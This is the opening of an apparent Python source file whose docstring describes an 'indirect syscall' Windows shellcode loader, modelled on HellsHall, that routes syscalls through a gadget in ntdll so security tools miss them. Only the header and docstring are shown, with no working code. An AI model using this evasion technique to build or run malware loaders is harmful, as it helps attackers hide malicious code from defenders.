Indirect Windows Syscall Evasion

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Indirect Windows syscall evasion loader (HellsHall-style).

Same encrypted shellcode pipeline as direct_syscall_evasion, but syscalls are
dispatched through a legitimate `syscall; ret` gadget in ntdll instead of
executing the syscall instruction from the loader image.
